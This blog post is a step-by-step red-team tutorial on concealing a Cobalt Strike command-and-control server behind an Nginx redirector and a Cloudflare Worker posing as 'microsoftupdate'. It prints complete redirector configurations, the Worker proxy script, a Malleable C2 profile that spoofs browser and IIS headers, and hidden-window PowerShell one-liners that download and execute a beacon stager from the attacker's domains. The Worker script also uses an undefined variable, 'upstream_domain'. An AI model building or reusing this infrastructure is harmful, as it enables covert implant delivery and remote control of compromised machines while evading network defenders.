nnfewl's Blog

Hiding C2 Infrastructure with Cloudflare Workers

October 07, 2026

0x00 Preface

Because Cloudflare checks whether the SNI and the Host header of an HTTPS request line up, classic domain fronting through Cloudflare is essentially impossible. That said, this article by @digininja suggests Cloudflare doesn’t (yet) inspect ESNI, so if you’re curious you can experiment with that approach. Whether or not the technique below counts as domain fronting is up for debate — see the back-and-forth between @digininja and @grittygrease. Cloudflare annoyed me recently, so here I’ll return the favor by (ab)using its Workers for free.

0x01 Prerequisites

Two VPS servers and one domain.

First, let’s sketch out the overall C2 infrastructure:

0x02 Configuring the Team Server

For better OpSec, I use iptables to block all external access to the Team Server’s port 50050 — the C2 server is only reachable over localhost through a VPN. I also block external access to ports 80 and 443 on the C2 server (used for the HTTP and HTTPS beacon listeners respectively), accepting only requests forwarded from the Nginx redirector.

Start the Cobalt Strike Team Server:

Starting the Cobalt Strike Team Server

Test the reachability of ports 80, 443 and 50050.

From the Nginx redirector:

Request from the Nginx redirector

From localhost:

Request from localhost

0x03 Nginx Redirector

The idea of putting a redirector in front of the C2 came from studying the CIA’s HIVE infrastructure, leaked by WikiLeaks in Vault 7 (and later released as source code in Vault 8). HIVE fronts its C2 with a public-facing cover server running Apache + mod_rewrite: it inspects every incoming request and only relays authenticated implant traffic — HIVE’s implants present a valid client certificate — back to the hidden toolserver (Honeycomb, reached over a VPN via a relay called Blot), while serving an innocuous decoy site to anyone else who wanders in. I wanted exactly that model here, but I’m not all that familiar with Apache’s configuration style, so I built my redirector on NGINX, which I know better.

Deploying the Nginx redirector is straightforward — just like serving a normal website. I also request an SSL certificate up front so that later, when I add the Cloudflare Worker reverse proxy, Nginx can serve both HTTP and HTTPS beacons. Since the Team Server was started without a Malleable C2 profile, the user-agent on the payload requests Cobalt Strike generates is random. For now I won’t try to distinguish beacon traffic by user-agent; I’ll just forward everything.

Nginx configuration:

server {
        listen 80;

        ...

        root /var/www/html;

        index index.html;

        server_name maytheforcebewithu.domainfronting.ml;

        location / {
                try_files $uri $uri/ @c2;
        }

        location /a {
                proxy_pass http://<c2_IP_address>:80;
                proxy_redirect off;
                proxy_ssl_verify off;
                proxy_set_header Host $host;
                proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        }

        location @c2 {
                proxy_pass http://<c2_IP_address>:80;
                proxy_redirect off;
                proxy_ssl_verify off;
                proxy_set_header Host $host;
                proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        }
}

First, test forwarding to port 9999:

$ curl -I http://maytheforcebewithu.domainfronting.ml/x4Rt
$ curl -I http://maytheforcebewithu.domainfronting.ml/a

Both the /x4Rt and /a locations point to proxy_pass https://localhost:9999;.

Result:

curl forwarding test result

Connect to the Team Server and check that payloads are delivered correctly:

Payload delivery test

First, check whether /a is reachable:

Checking /a

The web log receives the request:

Web log receives the request

Test a check-in from the VM:

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://maytheforcebewithu.domainfronting.ml/a'))"

Beacon check-in

Beacon check-in

The payload downloads and the beacon checks in successfully, but Wireshark shows a DNS lookup for the Nginx redirector’s domain, along with the beacon’s frequent, suspicious HTTP traffic to the redirector.

0x04 Adding the Cloudflare Worker

To use Workers, Cloudflare requires you to have added a domain to your account — at least with my freshly registered account, I had to add the domain I was testing with before I could continue.

Creating the Worker

When creating the Worker, be careful with the name you choose: it becomes part of the subdomain, ***.<worker-name>.workers.dev, and can’t be changed afterwards.

Creating a Worker

I register a Worker named microsoftupdate, so the subdomain it gets is microsoftupdate.workers.dev.

Registering the Worker

Create a Worker script:

Creating a Worker script

Paste in the JS that forwards requests, set a fourth-level domain, then save and deploy:

const upstream = 'maytheforcebewithu.domainfronting.ml';
const https = true;

const replace_dict = {
    '$upstream': '$custom_domain',
    '': ''
};

addEventListener('fetch', event => {
    event.respondWith(fetchAndApply(event.request));
});

async function fetchAndApply(request) {

    const user_agent = request.headers.get('user-agent');
    let response = null;
    let url = new URL(request.url);
    let url_host = url.host;

    if (https == true) {
      url.protocol = 'https:';
    } else {
      url.protocol = 'http:';
    }

    url.host = upstream;

    let method = request.method;
    let request_headers = request.headers;
    let new_request_headers = new Headers(request_headers);

    new_request_headers.set('Host', upstream);
    new_request_headers.set('Referer', url.href);

    let original_response = await fetch(url.href, {
        method: method,
        headers: new_request_headers
    })

    let original_response_clone = original_response.clone();
    let original_text = null;
    let response_headers = original_response.headers;
    let new_response_headers = new Headers(response_headers);
    let status = original_response.status;

    new_response_headers.set('access-control-allow-origin', '*');
    new_response_headers.set('access-control-allow-credentials', true);
    new_response_headers.delete('content-security-policy');
    new_response_headers.delete('content-security-policy-report-only');
    new_response_headers.delete('clear-site-data');

    const content_type = new_response_headers.get('content-type');
    if (content_type.includes('text/html') && content_type.includes('UTF-8')) {
        original_text = await replace_response_text(original_response_clone, upstream_domain, url_host);
    } else {
        original_text = original_response_clone.body;
    }

    response = new Response(original_text, {
        status,
        headers: new_response_headers
    });
    return response;
}

async function replace_response_text(response, upstream_domain, host_name) {
    let text = await response.text();

    var i, j;
    for (i in replace_dict) {
        j = replace_dict[i];
        if (i == '$upstream') {
            i = upstream_domain;
        } else if (i == '$custom_domain') {
            i = host_name;
        }

        if (j == '$upstream') {
            j = upstream_domain;
        } else if (j == '$custom_domain') {
            j = host_name;
        }

        let re = new RegExp(i, 'g');
        text = text.replace(re, j);
    }
    return text;
}

Send a test request using Cloudflare’s built-in debug tool:

Cloudflare debug tool test

Test /a:

Testing /a through the Worker

Adding a Malleable C2 Profile

This time I add a Malleable C2 profile to the Team Server, changing all the Host headers to the subdomain Cloudflare assigned and setting the User-Agent to Mozilla/5.0 (MSIE 9.0; Windows NT 6.1; EN_GB). I add the same user-agent header to the http-stager as well.

http-stager {
    client {
        header "Host" "bing-settings-data.microsoftupdate.workers.dev";
        header "User-Agent" "Mozilla/5.0 (MSIE 9.0; Windows NT 6.1; EN_GB)";
    }

    server {
        header "Cache-Control" "no-cache, no-store, must-revalidate";
        header "Content-Encoding" "br";
        header "Content-Type" "text/html; charset=utf-8";
        header "Vary" "Accept-Encoding";
        header "Server" "Microsoft-IIS/8.5";
        header "Connection" "close";
    }
}

After adding the Malleable C2 profile

Update the Nginx configuration:

server {
        listen 80;

        ...

        root /var/www/html;

        index index.html;

        server_name maytheforcebewithu.domainfronting.ml;

        location / {
                try_files $uri $uri/ @c2;
        }

        # for staging request
        location /a {
                proxy_pass http://<c2_IP_address>:80;
                proxy_redirect off;
                proxy_ssl_verify off;
                proxy_set_header Host $host;
                proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        }

        location @c2 {
                if ($http_user_agent = "Mozilla/5.0 (MSIE 9.0; Windows NT 6.1; EN_GB)") {
                        proxy_pass http://<c2_IP_address>:80;
                }
                proxy_redirect off;
                proxy_ssl_verify off;
                proxy_set_header Host $host;
                proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        }
}

Because Cobalt Strike’s default script-delivery path is /a, I explicitly forward /a to the C2 server here — otherwise PowerShell can’t download the payload.

Edit the listener and change the Host to the Cloudflare Worker subdomain:

Editing the listener host

Go to Attack → Web Drive-by → Scripted Web Delivery and set the Host to the Cloudflare Worker subdomain:

Scripted Web Delivery host

Download the payload:

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://bing-settings-data.microsoftupdate.workers.dev/a'))"

Web log:

Web log

Run a command:

Running a command

Wireshark:

Wireshark capture

The GET request sent by the stager:

Stager GET request in Wireshark

At this point the IPs the beacon talks to are all Cloudflare Worker edge servers — i.e. CDN nodes — and on SecurityTrails you can find many domains associated with those IPs. The downside is that the beacon traffic is all encrypted HTTP and very noisy. Because my Cobalt Strike couldn’t enable SSL payload delivery, I didn’t test an HTTPS beacon. With HTTPS, Wireshark would only capture a single DNS lookup for bing-settings-data.microsoftupdate.workers.dev during the first-stage download; after that, all communication happens between the victim and Cloudflare, which is far stealthier. Ideally you’d have a third machine dedicated to payload delivery that you pull out once delivery is finished. Also, since Cloudflare’s node IPs are all public, you can scrape the full list and configure the Nginx redirector to only accept requests forwarded from Cloudflare nodes, reducing the risk of search engines crawling and fingerprinting your redirector.

Reference

https://digi.ninja/blog/cloudflare_example.php

https://github.com/Siujoeng-Lau/Workers-Proxy

https://wikileaks.org/vault8/

https://wikileaks.org/vault7/document/hive-Operating_Environment/hive-Operating_Environment.pdf

https://3gstudent.github.io/CIA-Hive-Beacon-Infrastructure复现1-使用Apache-mod_rewrite实现http流量分发

https://petsymposium.org/2015/papers/03_Fifield.pdf

https://attack.mitre.org/techniques/T1090/004/

https://en.wikipedia.org/wiki/Domain_fronting

https://www.sentinelone.com/blog/privacy-2019-tor-meek-rise-fall-domain-fronting/

https://ajpc500.github.io/c2/Using-CloudFlare-Workers-as-Redirectors/

https://byt3bl33d3r.substack.com/p/revisiting-cloudflare-workers-for

https://www.redteaming.org/c2cloudflare.html

https://teamt5.org/en/posts/hiding-in-plain-sight-obscuring-c2s-by-abusing-cdn-services/

https://www.cobaltstrike.com/product/features/malleable-c2

https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/

https://github.com/Cobalt-Strike/Malleable-C2-Profiles

https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki

https://blog.cloudflare.com/encrypted-client-hello/

https://blog.talosintelligence.com/attackers-use-domain-fronting-technique/


Written by nnfewl, a noob. Follow me on Twitter